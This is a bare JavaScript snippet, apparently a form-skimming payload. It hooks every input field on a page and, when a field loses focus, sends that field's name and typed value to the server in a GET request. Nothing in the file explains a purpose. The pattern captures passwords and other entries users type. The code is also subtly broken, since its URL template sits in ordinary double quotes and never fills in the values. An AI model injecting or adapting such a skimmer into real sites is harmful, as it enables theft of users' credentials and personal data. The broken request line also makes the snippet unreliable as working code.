(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}